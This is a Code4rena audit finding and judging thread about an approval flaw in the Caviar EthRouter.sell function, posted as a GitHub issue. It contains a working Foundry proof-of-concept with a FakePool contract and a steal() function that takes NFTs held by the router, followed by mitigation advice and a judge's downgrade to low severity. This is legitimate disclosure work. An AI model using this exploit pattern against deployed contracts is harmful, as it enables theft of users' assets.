code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L166

Vulnerability details

Impact

The EthRouter.sell function looks like this:

    function sell(Sell[] calldata sells, uint256 minOutputAmount, uint256 deadline, bool payRoyalties) public {
        // ...

        // loop through and execute the sells
        for (uint256 i = 0; i < sells.length; i++) {
            // transfer the NFTs into the router from the caller
            for (uint256 j = 0; j < sells[i].tokenIds.length; j++) {
                ERC721(sells[i].nft).safeTransferFrom(msg.sender, address(this), sells[i].tokenIds[j]);
            }

            // approve the pair to transfer NFTs from the router
            ERC721(sells[i].nft).setApprovalForAll(sells[i].pool, true);

            // ...
        }

        // ...
    }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L166 Here the EthRouter performs a setApprovalForAll call for a user controlled nft address and pool address. So essentially the EthRouter contract gives the approval of 'any' NFT to 'any' address.

This can be used by attackers to steal any NFT that is held by the EthRouter contract.

It should be noted that the probability of users sending NFTs directly to the EthRouter contract or the EthRouter contract receiving NFT airdrops is never zero, so this bug will surely attract MEV searchers to keep monitoring the EthRouter contract and steal the NFTs.

The detailed PoC is provided below.

Proof of Concept

This test case was added to test/EthRouter/Buy.t.sol and was ran using forge test --ffi --mp test/EthRouter/Buy.t.sol --mt test_audit.

Additional temporary contract added in the same file:

contract FakePool {
    fallback(bytes calldata) external payable returns(bytes memory data) {
        data = abi.encode(0,0,0);
    }

    function steal(address nft, address from, uint id) public {
        ERC721(nft).transferFrom(from, msg.sender, id);
    }

    // Silence compiler warning
    receive() external payable {}
}

    function test_audit_NftCanBeStolen() public {
        milady.mint(address(ethRouter), 100);
        milady.mint(address(this), 101);
        assertEq(milady.ownerOf(100), address(ethRouter));

        FakePool fakePool = new FakePool();

        EthRouter.Sell[] memory _sells = new EthRouter.Sell[](1);
        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = 101;
        _sells[0] = EthRouter.Sell({
            pool: payable(address(fakePool)),
            nft: address(milady),
            tokenIds: tokenIds,
            tokenWeights: new uint[](0),
            proof: PrivatePool.MerkleMultiProof({proof: new bytes32[](0), flags: new bool[](0)}),
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            isPublicPool: false,
            publicPoolProofs: new bytes32[][](0)
        });

        milady.approve(address(ethRouter), 101);
        ethRouter.sell(_sells, 0, 0, false);

        assertEq(milady.ownerOf(100), address(ethRouter));
        assertEq(milady.ownerOf(101), address(ethRouter));

        fakePool.steal(address(milady), address(ethRouter), 100);
        fakePool.steal(address(milady), address(ethRouter), 101);

        assertEq(milady.ownerOf(100), address(this));
        assertEq(milady.ownerOf(101), address(this));
    }

Tools Used

Foundry

Recommended Mitigation Steps

While resolving the issue completely is tricky but a few things can be done:

Consider validating the pool address from the Factory contract, additional storage variables might be required in Factoy contract to track deployed pools.
Consider implementing an owner restricted function to pull out extra NFTs from the contract.

c4-pre-sort commented 1 year ago

0xSorryNotSorry marked the issue as high quality report

c4-pre-sort commented 1 year ago

0xSorryNotSorry marked the issue as primary issue

c4-sponsor commented 1 year ago

outdoteth marked the issue as sponsor acknowledged

GalloDaSballo commented 1 year ago

The report boils down to whether approval farming on the router is a vulnerability or not.

I believe we don't have enough evidence to demonstrate that this is a vulnerability, but rather a gotcha

Would ask the Warden to follow up during Post-Judging with additional evidence, but I think farming approvals on a empty contract is QA Low with the info available

GalloDaSballo commented 1 year ago

L

c4-judge commented 1 year ago

GalloDaSballo changed the severity to QA (Quality Assurance)

code-423n4 / 2023-04-caviar-findings